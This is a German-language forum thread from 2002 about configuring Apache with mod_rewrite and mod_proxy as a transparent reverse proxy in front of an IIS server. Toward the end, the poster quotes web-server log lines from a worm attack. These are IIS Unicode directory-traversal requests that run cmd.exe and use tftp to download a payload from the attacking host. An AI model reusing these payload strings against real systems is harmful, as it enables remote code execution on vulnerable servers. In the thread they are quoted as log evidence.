WCM Forum - Über Apache auf ISS weiterleiten?

WCM Forum (http://www.wcm.at/forum/index.php)

- Programmierung (http://www.wcm.at/forum/forumdisplay.php?f=17)

- - Über Apache auf ISS weiterleiten? (http://www.wcm.at/forum/showthread.php?t=76081)

Über Apache auf IIS weiterleiten?

Hallo Leutz,

ich hab mich mal etwas durch das Apache Manual gewühlt (VHosts, mod_proxy,...), aber bin nicht so richtig schlau daraus geworden...

Folgendes steht bereits:

Apache 2 mit einigen VirtualHosts, welche über dyndns-Domains angesprochen werden können.

Folgendes will ich machen:

Über eine dyndns-Domain soll über Apache transparent auf den IIS weitergeleitet werden, nur hab ich im Moment noch keinen Schimmer wie ich das angehen soll...

Kann mir bitte jemand einen kleinen Tritt verpassen, damit ich in die richtige Richtung schau :D

TIA

~

Redirect oder Alias

Wenn du im Linuxforum gefragt hättest, würde ich Redirect empfehlen.
oder eher auf die Aliasmatches in deinem Fall externe Alias mit mod_proxy bevorzugen.
ProxyPass und ProxyPassReverse.....

Für die Programmierabteilung:
Es geht aber auch mit mod_alias, AliasMatch mitRegular-Expression.

Sloter

Zitat:

Original geschrieben von Sloter
Redirect oder Alias

Bitte codergerecht, Herr Admin :D

> Redirect

Eigentlich will ich ja verhindern, dass man dann auf iis.domain.net:88 weitergeleitet wird. Ich will, dass iis.domain.net:80 transparent auf localhost:88 geschleust wird... Eben um den IIS nicht der freien Wildbahn auszusetzten. Mir kommt das Grausen, wenn ich in mein Firewall- und Access-Log reinschau... :eek:

> Alias

:confused: Damit verweise ich ja nur auf andere Verzeichnisse, oder?

:(

~

Was soll der Apache eigentlich vor dem IIS bewirken :confused:
Eine Firewall?
:roflmao:

Sloter

Eh klar - im Nachhinein was ändern - das hab ich gern!

:hehe:

Na, echt. Ich hab keinen Schimmer wie ich da anfangen soll bez. httpd.conf...

Also ich mach mal nen VHost...

Tja und dann? :confused:

~

Zitat:

Original geschrieben von Sloter
Was soll der Apache eigentlich vor dem IIS bewirken :confused:
Eine Firewall?
:roflmao:

:mad: :p

Nein, aber neugierige Script-Kiddies sehen dann Apache im Header, oder?

~

Schau dir das mod_rewrite an.
Damit kannst du Kontent von externe Server einbinden und die erste Url bleibt erhalten.

<VirtualHost www.domain.at>
RewriteEngine On
RewriteRule /(.*) http://www.anderedomain.at/$1 [P]
......
</virtualHost>

Sag mal, macht ihr Coder nur blau :D

Sloter

:bier:

*freu*

Den Proxy-Flag für Rewrites hab ich ja ganz übersehen!

THX

Der Rest ist dann dem Indianer eh egal oder?

--

Auch wir hörn gern mal mp3's! :D

:hehe:

~

Ach ja, mod_proxy und mod_rewrite brauchst du dazu.

Sloter

Ich habe noch was vergessen :)

Das "^"

Es muß heißen
RewriteRule ^/(.*) http://www.anderedomain.at

Sloter

Zitat:

Original geschrieben von käptn

Der Rest ist dann dem Indianer eh egal oder?
~

Ja mit der Anweisung fängst du sogra Abfragen direkt auf eine Seite oder Bild ab.
zB
www.domain.at/bild.gif würde ins leere führen da das Bild nicht am ersten Server vorhanden ist.
Die obrige Konfig fängt jede Abfrage ab und leitet sie an den IIS weiter.

<Auch wir hörn gern mal mp3's!
:hehe:

Sloter

mod_proxy und mod_rewrite sind geladen.

Ich hab aber auch ein mod_http_proxy :confused:

mit folgendem funkts net (Verbindungsaufbau verweigert:

<VirtualHost *>
ServerName iis.xxxx.nu
RewriteEngine On
RewriteRule ^/(.*) http://localhost:88/$1 [P]
</VirtualHost>

~

Sorry, geht schon!

Mozilla hatte nur die falsche IP für die Domain gecached...

THX Sloter!

--
Jetzt kann ich wieder MP3 hörn gehn...
:hehe:

~

Hm, SHIT - der IIS-Header geht trotzdem durch...

:ms:

~

Nur um zu verdeutlichen wieso und warum ich das machen wollte (sorry für die Breite):

Code:

62.47.8.115 - - [07/Nov/2002:12:56:48 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%2062.47.8.115%20GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 125 "-" "-"

62.47.8.115 - - [07/Nov/2002:12:56:48 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../httpodbc.dll HTTP/1.0" 200 125 "-" "-"

62.47.8.115 - - [07/Nov/2002:12:56:49 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 125 "-" "-"

62.47.8.115 - - [07/Nov/2002:12:56:50 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%2062.47.8.115%20GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 125 "-" "-"

62.47.8.115 - - [07/Nov/2002:12:56:50 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%2062.47.8.115%20GET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 125 "-" "-"

62.47.8.115 - - [07/Nov/2002:12:56:51 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%2062.47.8.115%20GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 125 "-" "-"

62.47.8.115 - - [07/Nov/2002:12:56:51 +0100] "GET /scripts/..%c1%1c../httpodbc.dll HTTP/1.0" 200 125 "-" "-"

Davon hab ich zig Einträge täglich in meinen Logs.
Dabei ist mir aufgefallen, dass diese Affen gar nicht den Header beachten...
Sonst müssten die ja schnell checken, dass das nichts bringt...

:mad:

~

Das macht der Trojaner selber, der schaut immer die ganze IP-Range durch ob es weitere IIS gibt.

Sloter

Aso, die faulen Säcke lassen Trojaner für sich hackeln...
Und ich dachte, die krebsen per Telnet durch die Gegend...
Hätt ich mir bei dem Zeitintervall auch selber denken können...:rolleyes:

Schade dass keiner mitn IE vorbeikommt und sowas probiert... :( ;) :D

Naja, wenigstens hab ich jetzt meine Weiterleitung,
ohne den Port im URL angeben zu müssen.

Danke nochmal, Sloter!

~